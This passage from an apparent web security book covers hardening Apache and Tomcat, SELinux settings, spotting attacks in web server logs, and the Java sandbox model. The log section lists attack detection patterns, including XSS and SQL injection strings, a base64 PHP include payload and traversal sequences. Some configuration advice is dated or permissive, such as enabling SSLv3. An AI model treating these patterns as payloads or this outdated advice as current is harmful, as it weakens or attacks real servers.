# Only accept SSL version 3 (don’t accept SSL v2…) and TLS (which is better)

SSLProtocol -all +SSLv3 +TLSv1

SSLProxyProtocol -all +SSLv3 +TLSv1

# Only accept high security ciphers (Don’t accept low, medium and null

ciphers)

SSLCipherSuite HIGH

# Make the SSL Seed Entropy stronger

SSLRandomSeed startup file:/dev/urandom 4096

# 1024 on a slow CPU server

# 2048 no a normal CPU server

# 4096 on a fast CPU server

SSLRandomSeed connect file:/dev/urandom 2048

# Define custom logs and change log file name to be unpredictable

CustomLog /var/log/httpd/mycompany_ssl_request_log \ "%t %h

%{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"

# Change the default name of the log files, to make their path unpredictable

ErrorLog /var/log/httpd/mycompany_ssl_error_log

TransferLog /var/log/httpd/mycompany_ssl_access_log

LogLevel warn

# Verify the remote SSL server’s certificate validity, on SSL Proxy connections

SSLProxyVerify require

Page 164: Advanced web application hacking and exploitation

163 | P a g e

# Make sure there will be no Man-In-The-Middle Attacks on SSL

Renegotiations

SSLInsecureRenegotiation off

Remove:

# This slows down the server’s performance and is mostly not required

<Files ~ "\.(cgi|shtml|phtml|php3?)$">

SSLOptions +StdEnvVars

</Files>

<Directory "/var/www/cgi-bin">

SSLOptions +StdEnvVars

</Directory>

Mod_Evasive – Anti-D.O.S Apache Module

# we need “apxs” to compile mod_evasive, It should be in one of the following

/usr/local/psa/admin/bin/apxs

/usr/sbin/apxs

# If it wasn’t found we can find it manually

locate apxs | grep bin

# Download mod_evasive

wget http://www.zdziarski.com/projects/mod_evasive/mod_evasive_1.10.1.tar.gz

# Extract mod_evasive source files

tar xvzf mod_evasive_1.10.1.tar.gz mod_evasive/

# Compile mod_evasive

/usr/sbin/apxs -cia /usr/src/mod_evasive/mod_evasive20.c

# Check mod_evasive is configured to be loaded in the apache configuration file

grep -i evasive /etc/httpd/conf/httpd.conf

#Add the following optimized rules at the end of /etc/httpd/conf/httpd.conf:

<IfModule mod_evasive20.c>

DOSHashTableSize 3097

DOSPageCount 100

DOSSiteCount 500

DOSPageInterval 1

Page 165: Advanced web application hacking and exploitation

164 | P a g e

DOSSiteInterval 1

DOSBlockingPeriod 600

</IfModule>

# Restart apache so mod_evasive will be loaded into it on process initiation

/etc/init.d/httpd restart

# Due to application interference - Disabling mod_evasive!

# Comment out the following: “Include conf/mod_evasive20.conf”

Mod_Security – An OpenSource Web Application Firewall

# Stop apache – if installed and running

service httpd stop

# Install Apache APR Utility Library

yum install *apr*

# Install HTTP Development Libraries

yum install *http-devel*

# Install Required Libraries

yum install *pcre-devel*

yum install libxml2

yum install libxml2-devel

yum install curl-devel

yum install gcc-c++

# Fix mod_security compile to find libxml2

export C_INCLUDE_PATH=/usr/include/libxml2/:$C_INCLUDE_PATH

export CPLUS_INCLUDE_PATH=/usr/include/libxml2/:$CPLUS_INCLUDE_PATH

export C_INCLUDE_PATH=/usr/include/curl/:$C_INCLUDE_PATH

export CPLUS_INCLUDE_PATH=/usr/include/curl/:$CPLUS_INCLUDE_PATH

# Download the latest stable version of Mod_Security

http://www.modsecurity.org/download/modsecurity-apache_2.6.0.tar.gz

# Extract & Compile

tar -xvf modsecurity-apache_2.6.0.tar.gz

cd modsecurity-apache_2.6.0/Apache2/

./configure

Page 166: Advanced web application hacking and exploitation

165 | P a g e

make

make install

# Install OWASP mod_security Core Rule Set

svn co https://mod-security.svn.sourceforge.net/svnroot/mod-security/crs/trunk

/etc/httpd/conf/modsecurity/

# Turn on the Example Configuration File:

cd /etc/httpd/conf/modsecurity/

mv modsecurity_crs_10_config.conf.example modsecurity_crs_10_config.conf

# Disable the following rules

cd /etc/httpd/conf/modsecurity/base_rules/ mv modsecurity_crs_21_protocol_anomalies.conf modsecurity_crs_21_protocol_anomalies.conf_.disable

mv modsecurity_crs_30_http_policy.conf modsecurity_crs_30_http_policy.conf_.disable

mv modsecurity_crs_41_phpids_converter.conf modsecurity_crs_41_phpids_converter.conf_.disable

mv modsecurity_crs_41_phpids_filters.conf modsecurity_crs_41_phpids_filters.conf_.disable

mv modsecurity_crs_49_enforcement.conf modsecurity_crs_49_enforcement.conf_.disable

mv modsecurity_crs_60_correlation.conf modsecurity_crs_60_correlation.conf.disable

# Active Mod_Security inside the Apache Configuration File:

Include conf/modsecurity/*.conf

LoadFile /usr/lib/libxml2.so

LoadModule unique_id_module modules/mod_unique_id.so

LoadModule security2_module modules/mod_security2.so

# ModSecurity Configuration

# Turn the filtering engine On or Off

SecFilterEngine On

# Add the server name (mod_security directive)

SecServerSignature "Microsoft-IIS/7.5"

# Disable Server Signature (don’t print “Server: Apache mod_xxx…”)

ServerSignature Off

# Make sure that URL encoding is valid

SecFilterCheckURLEncoding On

# Unicode encoding check

SecFilterCheckUnicodeEncoding Off

Page 167: Advanced web application hacking and exploitation

166 | P a g e

# Should mod_security inspect POST payloads

SecFilterScanPOST On

# By default log and deny suspicious requests

# with HTTP status 500

SecFilterDefaultAction "deny,log,status:500"

# Use ReleventOnly auditing

SecAuditEngine RelevantOnly

# Must use concurrent logging

SecAuditLogType Concurrent

# Send all audit log parts

SecAuditLogParts ABIDEFGHZ

# Check the apache config:

/usr/sbin/apachectl -t

# Restart Apache

/etc/init.d/httpd restart

Disabling Dangerous HTTP Verbs

Limiting Accessible HTTP Verbs to Get, Head & Post in Directory Access & Proxy

<Directory / >

<LimitExcept GET HEAD POST>

Order deny,allow

Deny from all

</LimitExcept>

</Directory>

#In <proxy *> tag under virtual host add: <Proxy *>

<LimitExcept GET HEAD POST>

Order deny,allow

Deny from all

Page 168: Advanced web application hacking and exploitation

167 | P a g e

</LimitExcept>

</Proxy>

Disable TRACE Method

add “TraceEnable off” directive at a global level in httpd.conf Rewrite Against TRACE/TRACK

RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)

RewriteRule .* - [F]

Rewrite Get, Head & Post as a Whitelist

RewriteEngine on

RewriteCond %{REQUEST_METHOD} !^(GET|POST|HEAD)$

RewriteRule .* - [F]

Define Server Hostname

ServerName domino-app.digitalfuel.com:443

Mail Username root exposes Linux Usage

Replace:

ServerAdmin root@localhost

With:

ServerAdmin Administrator@localhost

Remove Script Aliases for unused directories (such as cgi-bin…)

# Comment out or Delete the following from /etc/httpd/conf/httpd.conf:

Alias /cgi-bin/ "/var/www/cgi-bin/"

<Directory "/var/www/cgi-bin">

AllowOverride None

Options None

Page 169: Advanced web application hacking and exploitation

168 | P a g e

Order allow,deny

Allow from all

</Directory>

Alias /icons/ "/var/www/icons/"

<Directory "/var/www/icons">

Options Indexes MultiViews

AllowOverride None

Order allow,deny

Allow from all

</Directory>

#Comment out language files:

AddLanguage ca .ca

LanguagePriority en ca cs da de el eo es et fr he hr it ja ko ltz nl nn no pl pt pt-BR ru sv zh-CN

zh-TW

ForceLanguagePriority Prefer Fallback

Add:

DefaultLanguage en

Comment Out:

AddType text/html .shtml

AddOutputFilter INCLUDES .shtml

Comment Out:

Alias /error/ "/var/www/error/"

<IfModule mod_negotiation.c>

<IfModule mod_include.c>

<Directory "/var/www/error">

AllowOverride None

Options IncludesNoExec

AddOutputFilter Includes html

AddHandler type-map var

Order allow,deny

Allow from all

LanguagePriority en es de fr

ForceLanguagePriority Prefer Fallback

</Directory>

ErrorDocument 400 /error/HTTP_BAD_REQUEST.html.var

ErrorDocument 401 /error/HTTP_UNAUTHORIZED.html.var

ErrorDocument 403 /error/HTTP_FORBIDDEN.html.var

ErrorDocument 404 /error/HTTP_NOT_FOUND.html.var

Page 170: Advanced web application hacking and exploitation

169 | P a g e

ErrorDocument 405 /error/HTTP_METHOD_NOT_ALLOWED.html.var

ErrorDocument 408 /error/HTTP_REQUEST_TIME_OUT.html.var

ErrorDocument 410 /error/HTTP_GONE.html.var

ErrorDocument 411 /error/HTTP_LENGTH_REQUIRED.html.var

ErrorDocument 412 /error/HTTP_PRECONDITION_FAILED.html.var

ErrorDocument 413 /error/HTTP_REQUEST_ENTITY_TOO_LARGE.html.var

ErrorDocument 414 /error/HTTP_REQUEST_URI_TOO_LARGE.html.var

ErrorDocument 415 /error/HTTP_UNSUPPORTED_MEDIA_TYPE.html.var

ErrorDocument 500 /error/HTTP_INTERNAL_SERVER_ERROR.html.var

ErrorDocument 501 /error/HTTP_NOT_IMPLEMENTED.html.var

ErrorDocument 502 /error/HTTP_BAD_GATEWAY.html.var

ErrorDocument 503 /error/HTTP_SERVICE_UNAVAILABLE.html.var

ErrorDocument 506 /error/HTTP_VARIANT_ALSO_VARIES.html.var

</IfModule>

</IfModule>

Rename or Delete the following directories:

/var/www/cgi-bin

/var/www/manual

/var/www/icons

/var/www/error

Comment out:

#In: /etc/httpd/conf.d/manual.conf

#

# This configuration file allows the manual to be accessed at

# http://localhost/manual/

#

#AliasMatch ^/manual(?:/(?:de|en|fr|ja|ko|ru))?(/.*)?$

"/var/www/manual$1"

#<Directory "/var/www/manual">

# Options Indexes

# AllowOverride None

# Order allow,deny

# Allow from all

#</Directory>

Page 171: Advanced web application hacking and exploitation

170 | P a g e

Comment out:

# In: /etc/httpd/conf.d/welcome.conf

#

# This configuration file enables the default "Welcome"

# page if there is no default index page present for

# the root URL. To disable the Welcome page, comment

# out all the lines below.

#

#<LocationMatch "^/+$">

# Options -Indexes

# ErrorDocument 403 /error/noindex.html

#</LocationMatch>

Cancel port 80, leave only 443, Replace:

Listen 80

To:

#Listen 80

Replace:

#ServerName localhost

To:

ServerName domino-app.digitalfuel.com:443

# disable .htaccess so it won't be discovered on "Get /dfsdf.htaccess HTTP/1.1" where

attacker gets "Permission Denied"

Replace:

AccessFileName .htaccess

<Files ~ "^\.ht">

Order allow,deny

Deny from all

</Files>

To:

#AccessFileName .htaccess_df

#<Files ~ "^\.ht">

# Order allow,deny

# Deny from all

#</Files>

Page 172: Advanced web application hacking and exploitation

171 | P a g e

Tomcat Hardening

Tomcat: Manager Application

If you don’t need it, don’t deploy it

If you do need it:

o Limit access to known IP addresses

o Use strong passwords

o Don’t browse untrusted sites whilst logged in to the manager application

o Log off (close your browser) when you are done

o Use a lock-out realm (see next slides)

The same guidelines apply for any administrative application

Tomcat: Realms

Tomcat provides a number of Realm implementations

Don’t use:

o MemoryRealm

o JDBCRealm

Be careful with the JAASRealm

That leaves:

o UserDatabaseRealm

o JNDIRealm

o DataSourceRealm

Tomcat: Realms Details

UserDatabaseRealm

o Replacement for MemoryRealm

o Based on tomcat-users.xml

o Convoluted to update user database (via JMX)

o Good for small numbers of fairly static users

DataSourceRealm

o Replacement for JDBCRealm

JNDIRealm

o Effectivly single threaded

Page 173: Advanced web application hacking and exploitation

172 | P a g e

Tomcat: Realms Issues & History

Issues with all of the realms

o Allow unlimited authentication attampts

o You could only have one Realm per Engine, Host or Context

Unlimited authentication attempts permit brute force attacks

o Made attacks in June 2008 easier

Introduced LockoutRealm to address this

o Additional benefit was the creation of the CombinedRealm that allows multiple

Realms to be used together

Tomcat: System properties

Org.apache.catalina.STRICT_SERVLET_COMPLIANCE

o Will add a character encoding header when calling getWriter() – reduces

exposure to UTF-7 XSS attacks

Org.apache.coyote

USE_CUSTOM_STATUS_MSG_IN_HEADER

Ensure ISO-8859-1 encoding

Tomcat: Miscellaneous

Disable shutdown port

o <Server port=”-1” …/>

Do connectors have to listen all intefaces?

o <Connector address=”…” …/>

Pros and cons of advertising server version

o <Connector server=”Apache-Coyote/1.1” />

Tomcat: Passwords

Server.xml or context.xml

Why is the password in plain text?

o Tomcat needs the plain text password to connect to the external resource

o Encrypting the password means Tomcat would need a decryption key – back to

the original problem

There are potential solutions

Enter password at Tomcat start

o tc Server feature

o Password will stay in memory

o Tomcat restart requires manual intervention

Encode the password

o tc Server feature

o Tomcat requires custom code

o Encoding is not encryption

Page 174: Advanced web application hacking and exploitation

173 | P a g e

o May prevent some accidental disclosures

Webapps: Authentication:

Basic & Form

o Must use SSL

Digest

o SSL is not required

Client-Certificate

o Already uses SSL

Session Identifier (Cookie or URL parameter also needs protection)

Don’t switch back from HTTPS to HTTP after the user has been authenticated

Webapps: SSL:

By default, HTTP requests are sent in clear text

Be careful when redirecting from http to https

When using a transport guarantee the process is:

o HTTP request is sent inc lear text to Tomcat

o The HTTP request headers are parsed

o Request mapped to context

o Transport guarantee identified

o HTTP redirect (302) issued to HTTPS

o HTTP request resent over HTTPS

o HTTP response sent over HTTPS

Webapps: context.xml

Protect session cookies

o <Context useHttpOnly=”true” …/>

o Will default to true from Tomcat 7.0.x onwards

Permitting cross-context request dispatching

o <Context crossContext=”true” …/>

Permitting symlinks has security side-effects

o <Context allowLinking=”true” …/>

Allow access to Tomcat internals

o <Context privileged=”true” …/>

Page 175: Advanced web application hacking and exploitation

174 | P a g e

Webapps: Miscellaneous

Invoker servlet

o Bypasses security constaints

XSS, SQL Injection etc.

o Don’t trust user input

o Protection needs to be in the application

Policy & Process

Review your logs

o Access logs

o Application logs

o Tomcat logs

o System (e.g. firewall) logs

What do you do if you find an attempted attack?

What do you do if you find an successful attack?

What do you do if a Tomcat vulnerability is announced?

Tomcat Session ID default name modification:

# In: /home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-

7.0/bin/catalina.sh

# Add:

JAVA_OPTS="$JAVA_OPTS

-Dorg.apache.catalina.SESSION_COOKIE_NAME=SESSIONID

-Dorg.apache.catalina.SESSION_PARAMETER_NAME=sessionid"

# Execute:

/home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-

7.0/bin/catalina.sh

Tomcat session HTTPOnly flag:

#In: /home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-

7.0/Domino_Live/webapps/jserf/META-INF/context.xml

#Change at File Header

Page 176: Advanced web application hacking and exploitation

175 | P a g e

<Context crossContext="true" debug="0" docBase="jserf" path="/jserf"

reloadable="true" distributable="true" useHttpOnly="true">

Tomcat – Change Server Banner:

# Disable Tomcat Version Exposure in catalina.jar located at:

/home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-

7.0/Domino_Live/webapps/jserf/WEB-INF/lib/catalina.jar

/home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-7.0/lib/catalina.jar

Replace “ServerInfo.properties” file inside the catalina.jar:

jar uf catalina.jar org/apache/catalina/util/ServerInfo.properties

With:

server.info=Microsoft-IIS/7.5

server.number=7.5

server.built=Apr 11 2008 02:08:29

Tomcat – Change Tomcat Port to Listen Only Internally:

#Change Tomcat port to internal LocalHost

#Change from: “ip:8080” to “LocalHost:8080”

#In: /home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-

7.0/Domino_Live/conf/server.xml

In: <Connector port="8080" protocol="HTTP/1.1"

Add: address="localhost"

# Restart Tomcat to verify changes:

/etc/init.d/dft-domino-live restart

Tomcat – Disable The HTTP Verb Trace:

#In: /home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-

7.0/Domino_Live/conf/server.xml

Page 177: Advanced web application hacking and exploitation

176 | P a g e

In: <Connector port="8080" protocol="HTTP/1.1"

Add: allowTrace="false"

# Restart Tomcat to verify changes:

/etc/init.d/dft-domino-live restart

Tomcat – Define an index page:

Save the following to "index.html":

<script>

try {

var x = navigator.userAgent;

if ("" != x) {

location.href="/jserf/Login";

}

} catch(e) {

// nothing

}

</script>

Tomcat – One single custom error page for all errors:

Save the following to "df_custom_error.html":

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>

<title>404 - File or directory not found.</title>

<style type="text/css">

<!--

body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-

serif;background:#EEEEEE;}

fieldset{padding:0 15px 10px 15px;}

h1{font-size:2.4em;margin:0;color:#FFF;}

h2{font-size:1.7em;margin:0;color:#CC0000;}

h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}

#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-

family:"trebuchet MS", Verdana, sans-serif;color:#FFF;

Page 178: Advanced web application hacking and exploitation

177 | P a g e

background-color:#555555;}

#content{margin:0 0 0 2%;position:relative;}

.content-container{background:#FFF;width:96%;margin-

top:8px;padding:10px;position:relative;}

-->

</style>

</head>

<body>

<div id="header"><h1>Server Error</h1></div>

<div id="content">

<div class="content-container"><fieldset>

<h2>404 - File or directory not found.</h2>

<h3>The resource you are looking for might have been removed, had its name

changed, or is temporarily unavailable.</h3>

</fieldset></div>

</div>

</body>

</html>

In:

/home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-

7.0/Domino_Live/conf/web.xml

/home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-

7.0/Domino_Live/webapps/ROOT/WEB-INF/web.xml

/home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-

7.0/Domino_Live/webapps/jserf/WEB-INF/web.xml

/home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-

7.0/conf/web.xml

/home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-

7.0/webapps/ROOT/WEB-INF/web.xml

Change/Add the following:

<error-page>

<exception-type>java.lang.Throwable</exception-type>

<location>/generalerror.jsp</location>

</error-page>

<error-page>

<error-code>500</error-code>

<location>/generalerror.jsp</location>

Page 179: Advanced web application hacking and exploitation

178 | P a g e

</error-page>

<error-page>

<error-code>501</error-code>

<location>/generalerror.jsp</location>

</error-page>

<error-page>

<error-code>502</error-code>

<location>/generalerror.jsp</location>

</error-page>

<error-page>

<error-code>403</error-code>

<location>/generalerror.jsp</location>

</error-page>

<error-page>

<error-code>401</error-code>

<location>/generalerror.jsp</location>

</error-page>

<error-page>

<error-code>404</error-code>

<location>/generalerror.jsp</location>

</error-page>

Add generalerror.jsp with:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>

<title>404 - File or directory not found.</title>

<style type="text/css">

<!--

body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-

serif;background:#EEEEEE;}

Page 180: Advanced web application hacking and exploitation

179 | P a g e

fieldset{padding:0 15px 10px 15px;}

h1{font-size:2.4em;margin:0;color:#FFF;}

h2{font-size:1.7em;margin:0;color:#CC0000;}

h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}

#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-

family:"trebuchet MS", Verdana, sans-serif;color:#FFF;

background-color:#555555;}

#content{margin:0 0 0 2%;position:relative;}

.content-container{background:#FFF;width:96%;margin-

top:8px;padding:10px;position:relative;}

-->

</style>

</head>

<body>

<div id="header"><h1>Server Error</h1></div>

<div id="content">

<div class="content-container"><fieldset>

<h2>404 - File or directory not found.</h2>

<h3>The resource you are looking for might have been removed, had its name

changed, or is temporarily unavailable.</h3>

</fieldset></div>

</div>

</body>

</html>

Tomcat – Remove Tomcat Example Scripts:

rm -rf $CATALINA_HOME/webapps/js-examples \

$CATALINA_HOME/webapps/servlet-example \

$CATALINA_HOME/webapps/webdav \

$CATALINA_HOME/webapps/tomcat-docs \

$CATALINA_HOME/webapps/balancer \

$CATALINA_HOME/webapps/ROOT/admin \

$CATALINA_HOME/webapps/examples

Except for the “WEB-INF” folder, delete all files inside:

/home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-

7.0/Domino_Live/webapps/ROOT

Page 181: Advanced web application hacking and exploitation

180 | P a g e

Tomcat – Remove Tomcat Manager application:

rm –rf $CATALINA_HOME/server/webapps/host-manager \

$CATALINA_HOME/server/webapps/manager \

$CATALINA_HOME/conf/Catalina/localhost/host-manager.xml \

$CATALINA_HOME/conf/Catalina/localhost/manager.xml

SELinux – Optional Hardening:

SELinux Apache Hardening

# Change context of “/var/www/html” to “apache_sys_content_t”

chcon -R -t httpd_sys_content_t /var/www/html

# Define all new create files with the same matching context type

semanage fcontext -a -t httpd_sys_content_t /var/www/html

# Change context of “/var/log/httpd” to “apache_log_t”

chcon -R -t httpd_log_t /var/log/httpd

# Define all new create files with the same matching context type

semanage fcontext -a -t httpd_log_t /var/log/httpd

# Enforcing SELinux Rules

echo 1 >/selinux/enforce

# Restarting Tomcat after SELinux:

cd /home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-7.0/Domino_Live/ &&

/home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-

7.0/Domino_Live/shutdown.sh && /home/dominodf/home/dominodf/DigitalFuel-

Tomcat/DigitalFuel-7.0/Domino_Live/startup.sh

SELinux for other services (Experts Only)

Enable Hardened HTTP

setsebool -P httpd_builtin_scripting 1 setsebool -P httpd_can_network_connect_db 1 setsebool -P httpd_can_network_connect 1 setsebool -P httpd_can_sendmail 1 setsebool -P httpd_can_network_relay 1 setsebool -P httpd_enable_cgi 1 setsebool -P httpd_enable_homedirs 1 setsebool -P allow_httpd_sys_script_anon_write 1

Page 182: Advanced web application hacking and exploitation

181 | P a g e

setsebool -P allow_httpd_anon_write 1 setsebool -P httpd_suexec_disable_trans 1 setsebool -P httpd_tty_comm 0 setsebool -P httpd_unified 0 setsebool -P httpd_enable_ftp_server 0 setsebool -P allow_httpd_bugzilla_script_anon_write 0 setsebool -P allow_httpd_mod_auth_pam 0 setsebool -P allow_httpd_nagios_script_anon_write 0 setsebool -P allow_httpd_prewikka_script_anon_write 0 setsebool -P allow_httpd_squid_script_anon_write 0 setsebool -P httpd_disable_trans 1 setsebool -P httpd_rotatelogs_disable_trans 1 setsebool -P httpd_ssi_exec 0 setsebool -P httpd_use_cifs 0 setsebool -P httpd_use_nfs 0

Learning from your Log files

Standard web servers like Apache and IIS generate logging

messages by default in the Common Log Format (CLF) specification.

The CLF log file contains a separate line for each HTTP request. A

line is composed of several tokens separated by spaces:

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

Attacks on Web Applications Detecting Attacks on Web Applications

host ident authuser date request status bytes

if a token does not have a value, then it is represented by a

hyphen (­). Tokens have these meanings:

● host: The fully qualified domain name of the client, or its IP address.

● ident: If the IdentityCheck directive is enabled and the

client machine runs identd, then this is the identity information reported by the client.

● authuser: If the requested URL required a successful

Basic HTTP authentication, then the user name is the value of this token.

● Date: The date and time of the request.

● Request: The request line from the client, enclosed in double quotes (").

● Status: The three digit HTTP status code returned to the client.

Page 183: Advanced web application hacking and exploitation

182 | P a g e

● bytes: The number of bytes in the object returned to the

client, excluding all HTTP headers.

A request may contain additional data like the referer and

the user agent string. Let us consider an example of log entry (in

the Combined Log Format [Apache Combined Log Format, 2007]):

127.0.0.1 ­ frank [10/Oct/2007:13:55:36 ­0700]

"GET /index.html HTTP/1.0" 200 2326

"http://www.example.com/links.html" "Mozilla/4.0 (compatible; MSIE

7.0; Windows NT 5.1; .NET CLR 1.1.4322)"

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

Attacks on Web Applications Detecting Attacks on Web Applications

127.0.0.1: the IP address of the client: The "hyphen" in the output indicates that the requested

piece of information is not available. In this case, the

information that is not available is the RFC 1413 identity of the

client determined by identd on the client’s machine.

Frank: This is the userid of the person requesting the

document as determined by HTTP authentication.

[10/Oct/2007:13:55:36 ­0700]: The time that the server finished processing the request.

"GET /index.html HTTP/1.0": The request line from the client is given in double quotes.

200: This is the status code that the server sends back to the client.

2326: This entry indicates the size of the object returned

to the client, not including the response headers.

"http://www.example.com/links.html": The "Referer" (sic) HTTP request header.

"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR

1.1.4322)": The User­Agent HTTP request header.

Interesting Anecdotes about log files:

1. Server must have write-only access to Log files

2. Log files should be saved on a different machine or at least a different partition

3. Log files should be encrypted

Interesting Anomalies to find in your log files:

1. GET Based Attacks:

Page 184: Advanced web application hacking and exploitation

183 | P a g e

a. XSS attempts:

i. <script>alert()</script>…

ii. alert(

iii. All the common attack patterns listed in “XSS CheatSheet”

b. SQL Injection

i. “Select/insert/update/alter/drop/load_file/bulk insert”

ii. Ascii(substring(

iii. And/or [x] [<>=] [x]

c. Local File Inclusion to Remote File Inclusion Via Apache Log PHP Injection

i. Looking for “<?php .* ?>” in the log file

ii. include "data:;base64,PD9waHAgcGhwaW5mbygpOz8+";

iii. require|include|system|passthru|eval\s+($[a-zA-Z0-9\-\_\.\/\\]+)

d. Detecting Directory Traversal Attacks

i. ../

ii. ..\

iii. %2e%2e%2f

e. IP Based Server References

i. Clients that referred the server using its External IP address as opposed

to its domain name usually indicate the client came from an IP Scan and

not a web based reference.

ii. HTTP referrer header – references to any pages except the website root

page without a referrer field usually indicate a manual attack and not a

normal user.

2. Post based attacks

a. Correlating suspicious IPs from GET identified attacks

b. Identifying repeated POST requests to the same pages with minor changes in

request size

c. If intensive suspicion builds up, changing logging configuration to include POST

request parameters in the logs.

Page 185: Advanced web application hacking and exploitation

184 | P a g e

Virtual Machine Platforms

Java Security

The J2EE security architecture is defined as part of the platform specification document. It

details

security management roles, and specifies goals of the security architecture, but does not specify

security policy or implementation details (such as the use of a particular security technology to

meet the described goals).

2.2.1. Code management through the JVM and the class file verifier, the class

loader and the Security Manager

Basic Java security employs the concept of a “sandbox” to limit the abilities of untrusted

code to cause damage to the system on which it runs. Historically, an untrusted piece of

code such as an applet would be disallowed from accessing local disk, opening network

connections, etc. With the introduction of certificate support through the Java Plug-In, the

origin and author of a signed applet could be established definitively, enabling fine-grained

permissions to be assigned to individual applets based on the security policy. This means

Page 186: Advanced web application hacking and exploitation

185 | P a g e

that applets are no longer confined to the default sandbox.

As described in the coming paragraphs, the sandbox is implemented through the JVM and

its class verifier, but also through the class loader and the Security Manager/ACL manager.

2.2.1.1. JVM security

The JVM provides a secure runtime environment by managing memory, providing isolation

between executing components in different namespaces, array bounds checking, etc. The

dynamic way in which the JVM allocates the various memory areas (method area, GC

heap, thread stacks) means that it is almost impossible for a would-be attacker to

determine what memory areas to attempt to insert malicious instructions into. Bounds

checking on arrays prevent unreferenced memory accesses.

The JVM’s class file verifier examines classes for basic class file structure upon loading.

While bytecodes produced by Sun’s compiler should be relatively free of errors (type

errors, for example), it is possible for an attacker to manually create malicious bytecode. The

class file verifier examines each loaded class file in four passes; from the most basic

check, where the physical attributes of the file are checked (size, magic number, length of

attributes) to checking the constant pool to ensure that method and field references have

correct attributes, to parsing the instructions for each method. Note that, by default, the

only trusted classes are the base classes. All other classes, including those loaded from

the application classpath are considered untrusted and must be verified.

2.2.1.2. The Class Loader architecture

There are two types of class loader – the primordial class loader, which is a part of the

JVM, and class loader objects, which are used to load non-essential classes.

There can only be one primordial class loader, which is used to bootstrap the JVM by

loading the base classes, sometimes using native OS-dependent means.

There can be many instances of class loader objects in the JVM, which can be instantiated

on the fly, and used to load objects from sources such as the network, local disk, or data

stores. Controlling the creation of class loader objects is therefore important due to the

function of the class loader.

Class loaders are responsible for locating classes requested by the JVM for loading into

the runtime environment. Part of their responsibility is to prevent unauthorised or untrusted

code from replacing trusted code that makes up the base classes. As an example, a class

loader should prevent the replacement of the Security Manager class. The attempted

replacement of a base class by a maliciously coded class is referred to as class spoofing.

All class loaders, with the exception of the primordial class loader, are loaded by other

class loaders, which become the loaded class loader’s parent. Thus, the loading of class

loaders describes a tree structure with the primordial class loader at the root and classes

as the leaf nodes (obviously class loaders are themselves classes).

Page 187: Advanced web application hacking and exploitation

186 | P a g e

If a class loader loads a class, all subsequent requests for related classes are directed

through that class loader. For example, if a class loader ”A” loads a class “Building”, and

“Building” makes calls to methods in a class called “Cubicle”, the JVM will use class loader

“A” to load “Cubicle” and any other classes that are referred to by “Building”.

Class loaders prevent class spoofing by passing requests back up the tree through their

parent class loader until the class loader that loaded the requested class is reached. In the

case of the Security Manager class, the primordial class loader is responsible, and

consequently the malicious class described above will not be loaded. Classes are loaded

only once, and the base classes are only loaded from the local disk using the system

classpath.

Class loaders also provide security by managing namespaces. A class that is loaded by a

particular class loader can only reference other classes in the same namespace, i.e.,

loaded by the same class loader or its parents.

2.2.1.3. The Security Manager and Access Controller

The Security Manager was responsible for examining and implementing the security policy,

which is specified by policy files. The security policy, as with .Net, determines the

permissions that code has at runtime.

In more recent versions of Java, the decisions on whether to grant permissions based on

security policy are delegated to the Access Controller. When a class makes a request for

permissions, it is received by the Security Manager which passes the request to the

Access Controller.

In a similar fashion to the way that .Net groups permissions into permission sets, which it

then associates with code groups, permissions in the Java world are grouped into protection

domains, associated with code sources. In other words, groups of permissions

are associated with groups of classes, the classes being grouped by their origin.

Signed Java code is assigned permissions based on the system policy as applied to the

code’s protection domain. Depending on the permissions associated with the source of the

code, the applet may have full access to system resources, or may be restricted to a small

subset.

Java applications, by default, have no associated security manager, and therefore have full

access to system resources.

2.2.2. Platform Roles

The J2EE platform specification describes Organisational or Platform Roles that can be

used to divide up responsibilities in a J2EE development and deployment cycle. The Roles

described in the platform specification are Product Provider, Application Component

Provider, Application Assembler, Deployer and Systems Administrator. These Roles are

not absolutes – the responsibilities of the various roles could be divided differently to fit a

company’s development and deployment methodologies.

Page 188: Advanced web application hacking and exploitation

187 | P a g e

Of these roles, most have clear security implications. The Product Provider and

Application Component Provider roles are responsible for developing secure code, the

Assembler is responsible for defining method permissions and security roles, the Deployer

verifies the security view of the deployed application and assigns principals to roles, and

the Systems Administrator administers principals and ensures that the local security

environment is correct for the J2EE platform.

2.2.3. Security Roles and the Deployment Descriptor

The deployment descriptor is an XML file that ships with each EJB

1

, and describes

